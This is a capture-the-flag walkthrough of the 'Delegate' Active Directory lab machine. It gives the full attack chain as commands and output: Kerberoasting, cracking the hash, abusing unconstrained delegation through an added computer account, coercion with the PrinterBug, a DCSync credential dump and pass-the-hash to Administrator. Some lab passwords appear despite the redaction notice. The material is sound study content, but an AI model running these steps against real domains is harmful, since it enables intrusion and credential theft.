Delegate

Delegate is a medium Windows Active Directory Machine from VulnLab/Hack The Box that features ACL abuse via targeted Kerberoasting as well as abusing Unconstrained Delegation from a out-of-domain attacker machine.
User passwords and hashes that are not created by the player as well as flags are redacted from this walkthrough as per VulnLab guidelines.
Target: 10.129.234.69
- Hostname:
dc1 - Domain name:
delegate.vl
Nmap Scan
sudo nmap -sVC -T4 -oN nmap 10.129.234.69
Nmap scan report for 10.129.234.69
Host is up (0.057s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-20 13:19:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: DELEGATE
| NetBIOS_Domain_Name: DELEGATE
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: delegate.vl
| DNS_Computer_Name: DC1.delegate.vl
| DNS_Tree_Name: delegate.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-03-20T13:19:42+00:00
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2026-03-19T13:17:20
|_Not valid after: 2026-09-18T13:17:20
|_ssl-date: 2026-03-20T13:20:22+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-20T13:19:44
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
We can conclude that this box is a domain controller from the presences of the following services:
- DNS (53/TCP)
- Kerberos (88/TCP)
- NetBIOS (139/TCP), SMB/RPC (135/TCP, 445/TCP)
- LDAP(s) (389/TCP, 636/TCP, 3268/TCP, 3269/TCP)
Additional Services open:
- RDP (3389/TCP)
- WinRM (5985/TCP)
SMB
We use Netexec to find what shares the guest user has access to on the target.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc smb dc1.delegate.vl -u guest -p "" --shares
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\guest:
SMB 10.129.234.69 445 DC1 [*] Enumerated shares
SMB 10.129.234.69 445 DC1 Share Permissions Remark
SMB 10.129.234.69 445 DC1 ----- ----------- ------
SMB 10.129.234.69 445 DC1 ADMIN$ Remote Admin
SMB 10.129.234.69 445 DC1 C$ Default share
SMB 10.129.234.69 445 DC1 IPC$ READ Remote IPC
SMB 10.129.234.69 445 DC1 NETLOGON READ Logon server share
SMB 10.129.234.69 445 DC1 SYSVOL READ Logon server share
There are no non-default shares configured, but NETLOGON often stores logon scripts that could potentially contain sensitive information. We can browse the share with smbclient.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ smbclient //dc1.delegate.vl/NETLOGON -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 26 07:45:24 2023
.. D 0 Sat Aug 26 04:45:45 2023
users.bat A 159 Sat Aug 26 07:54:29 2023
4652287 blocks of size 4096. 1137258 blocks available
smb: \> get users.bat
getting file \users.bat of size 159 as users.bat (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ cat users.bat
rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator <a.briggs_pass>
Passwords we find in scripts and files should always be verified before using. We use Netexec to do just that.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc smb dc1.delegate.vl -u a.briggs -p "P4ssw0rd1#123"
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\a.briggs:P4ssw0rd1#123
BloodHound
We use the set of credentials we have access to enumerate the domain. We can do that from a Linux-based attacker machine using bloodhound-ce-python, which generates JSON files that can be fed into BloodHound for analysis.
bloodhound-ce-python -c all -d delegate.vl -u a.briggs -p "<a.briggs_pass>" -dc dc1.delegate.vl -ns 10.129.234.69
bloodhound-cli up
In BloodHound, we find that user a.briggs has GenericWrite access to user n.thompson, who is in turn part of both Remote Management User and Delegation Admins group.


Delegation Admins is not a standard group in Active Directory, but Remote Management Users is a standard group that can access machines on the domain via WinRM. This means if wecan authenticate as n.thompson, we can get command execution capabilities on the target machine.
The user we currently control, a.briggs, has GenericWrite access over n.thompson. This allows us to take control of the user through 3 possible means:
- Resetting the user’s password, the easiest option that could also cause disruptions in production environments since the user would be logged out.
- Adding Shadow Credentials to the user, which ivolves the attacker adding a public key to the
msDs-KeyCredentialLinkattribute of the user, enabling the attacker to pre-authenticate to the KDC as that user via PKINIT with the corresponding private key and X509 certificate. However, AD CS needs to be enabled for the attacker to obtain the TGT through PKINIT. - Adding a fake, non-existent Service Principal Name (SPN) to the user through which we may conduct targeted Kerberoasting.
ACL Abuse
After doing some enumeration with certipy find command, it turns out AD CS is disabled on the target, so shadow credentials is out of the question. To simulate a realistic engagement, we will be attempting a target Kerberoasting of the user. We can add a fake SPN to a domain user from a Linux attack machine using bloodyAD, and then use GetUserSPNs.py from Impacket for Kerberoasting.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ bloodyAD -d delegate.vl --host dc1.delegate.vl -u a.briggs -p "<a.briggs_pass>" set object n.thompson servicePrincipalName -v 'cheeki/breeki'
[+] n.thompson's servicePrincipalName has been updated
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ GetUserSPNs.py -dc-ip 10.129.234.69 -request -request-user n.thompson DELEGATE.VL/a.briggs:"<a.briggs_pass>"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ---------- ----------------------------------------------- -------------------------- -------------------------- ----------
cheeki/breeki N.Thompson CN=delegation admins,CN=Users,DC=delegate,DC=vl 2023-09-09 10:17:16.247262 2023-09-16 02:18:20.238500
[-] CCache file is not found. Skipping...
$krb5tgs$23$*N.Thompson$DELEGATE.VL$DELEGATE.VL/N.Thompson*$<REDACTED>
We can now attempt to crack the user’s password using Hashcat mode 13100. We would be able to successfully recover the user’s password with the rockyou.txt wordlist.
hashcat -m 13100 -O nthompson.kerberoast /usr/share/dict/rockyou.txt
Now, with the N.Thompson user’s password recovered, we may login to the target via WinRM.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ evil-winrm -i 10.129.234.69 -u n.thompson -p <n.thompson_pass>
[...]
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> type ..\Desktop\user.txt
<REDACTED>
Privilege Escalation
One of the first checks I like to do after landing a foothold on a target is to check the current user’s privileges, which often yield easy a path to Admin. However, this time, the path is not quite as easy.
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
N.Thompson has standard user privileges except for SeEnableDelegationPrivilege, which governs whether a user account can “Enable computer and user accounts to be trusted for delegation” (from Microsoft Documentation).
The delegation the documentation refers to is Kerberos Delegation, which is a series of Kerberos protocol extensions and mechanisms that allow a Service Principal request service tickets on the behalf of an user authenticated to it. The most permissive type of delegation is unconstrained delegation, where the user would pass their TGT (Ticket Granting Ticket) to the service principal in addition to their service ticket. The service principal would then use the user’s TGT to request service tickets for any service on the user’s behalf. This is as dangerous as it sounds, and unconstrained delegation is mostly avoided in favor of less permissive options such as constrained delegation or resource-bound constrained delegation.
If we have a fully compromised machine on the domain, we can give it unconstrained delegation and collect TGTs as users authenticate to it, which is not the case. The alternative solution involves “adding our machine to the domain”. This means we would create a computer account, an DNS record that points back to our IP address, and an SPN on the computer account to tie it to the DNS record in addition to enabling unconstrained delegation on our created computer account.
By default standard users are allowed to add up to 10 machine accounts to an Active Directory domain. We can confirm the machine account quota set for the users in the domain with Netexec:
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ nxc ldap dc1.delegate.vl -u n.thompson -p "<n.thompson_pass>" -M maq
LDAP 10.129.234.69 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.234.69 389 DC1 [+] delegate.vl\n.thompson:KALEB_2341
MAQ 10.129.234.69 389 DC1 [*] Getting the MachineAccountQuota
MAQ 10.129.234.69 389 DC1 MachineAccountQuota: 10
With a machine quota of 10, we can add a new computer account to the domain using addcomputer.py from Impacket. The script will print the generated password in your console, so copy it down before you clear your terminal!
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ addcomputer.py -dc-ip 10.129.234.69 -computer-name attacker delegate.vl/N.Thompson:'<n.thompson_pass>'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account attacker$ with password 5q63EQofwFWetgLw50Hrjse9hk9VTand.
We will use several scripts from dirkjanm’s krbrelayx to complete the rest of the abuse process. We make use of the dnstools.py from the same repo to add a DNS record on the domain controller for our machine.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python dnstool.py -u 'delegate.vl\attacker$' -p '5q63EQofwFWetgLw50Hrjse9hk9VTand' --action add -r attacker.delegate.vl -d <attacker_ip> --type A -dns-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Now, we add an SPN (cifs/HOSTNAME) to the computer account we just created using addspn.py from krbrelayx repo. We run the command twice, the first time with the --additional flag to add the SPN via the msDS-AdditionalDnsHostName property, and the second time without the flag to edit the standard servicePrincipalName property.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python addspn.py -u 'delegate.vl\N.Thompson' -p '<n.thompson_pass>' -s 'cifs/attacker.delegate.vl' -t 'attacker$' -dc-ip 10.129.234.69 dc1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ python addspn.py -u 'delegate.vl\N.Thompson' -p '<n.thompson_pass>' -s 'cifs/attacker.delegate.vl' -t 'attacker$' -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
As the final step of our preparation, we enable TRUSTED_FOR_DELEGATION flag in the User Account Control settings for the created computer account with bloodyAD.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ bloodyAD -d delegate.vl -u N.Thompson -p <n.thompson_pass> --host dc1.delegate.vl add uac 'attacker$' -f TRUSTED_FOR_DELEGATION
[+] ['TRUSTED_FOR_DELEGATION'] property flags added to attacker$'s userAccountControl
To actually be able to receive and decrypt the TGTs we receive, we make use of krbrelayx.py dirkjanm made to specifically exploit unconstrained delegation from an attacker machine outside the domain. This tool requires us to provide the NT hash of the computer account we created. We can convert our plaintext password to NT hash by using pypykatz.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ pypykatz crypto nt 5q63EQofwFWetgLw50Hrjse9hk9VTand
83ceb95db815bc5b5de86b3438bfb7eb
Now, we start the krbrelayx on our attacker machine.
sudo python krbrelayx.py -hashes :83ceb95db815bc5b5de86b3438bfb7eb --interface-ip <attacker_ip>
We can obtain a TGT by coercing the domain controller computer account to authenticate to us. There are various methods of authentication coersion. I made use of the PrinterBug method in the print spooler service by using the coerce_plus module from Netexec on a separate terminal window.
╭─brian@rx-93-nu ~
╰─$ nxc smb dc1.delegate.vl -u 'attacker$' -p "5q63EQofwFWetgLw50Hrjse9hk9VTand" -M coerce_plus -o LISTENER=attacker.delegate.vl Method=PrinterBug
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\attacker$:5q63EQofwFWetgLw50Hrjse9hk9VTand
COERCE_PLUS 10.129.234.69 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69 445 DC1 Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
On the terminal running krbrelayx, we should start receiving TGTs from the domain controller, which is passed to us in addition to a service ticket thanks to unconstrained delegation.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ sudo python krbrelayx.py -hashes :83ceb95db815bc5b5de86b3438bfb7eb --interface-ip <attacker_ip>
[...]
[*] SMBD: Received connection from 10.129.234.69
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.234.69
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
^C
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ ls
addspn.py dnstool.py lib printerbug.py
'DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache' krbrelayx.py LICENSE README.md
With the TGT of the domain controller in hand, we may compromise the entire domain by importing the TGT into memory, and use it to dump the password hashes of the users via DCSync.
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ export KRB5CCNAME=$PWD/'DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache'
╭─brian@rx-93-nu vulnlab/delegate/krbrelayx
╰─$ klist
Ticket cache: FILE:/home/brian/Documents/study_files/hacking/vulnlab/delegate/krbrelayx/DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
Default principal: DC1$@DELEGATE.VL
Valid starting Expires Service principal
03/20/2026 14:58:39 03/21/2026 00:43:26 krbtgt/DELEGATE.VL@DELEGATE.VL
renew until 03/27/2026 14:43:26
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ secretsdump.py -k -no-pass -outputfile hashdump dc1.delegate.vl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[...]
Finally, we login as the Administrator user, with the hash we just extracted, via WinRM.
╭─brian@rx-93-nu hacking/vulnlab/delegate
╰─$ evil-winrm -i 10.129.234.69 -u Administrator -H <admin_hash>
[...]
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
<REDACTED>
Conclusion
I have been wanting to learn about Kerberos delegation and their implication on Active Directory security for quite some time. This lab gave me the opportunity to try that hands-on. I recommend this lab if you want to learn more about Active Directory privilege escalation techniques outside of what they teach in OSCP or CPTS.
As always, I hope you found this walkthrough useful and educational.
#Medium #Windows #Active Directory #VulnLab #HTB #Kerberos Delegation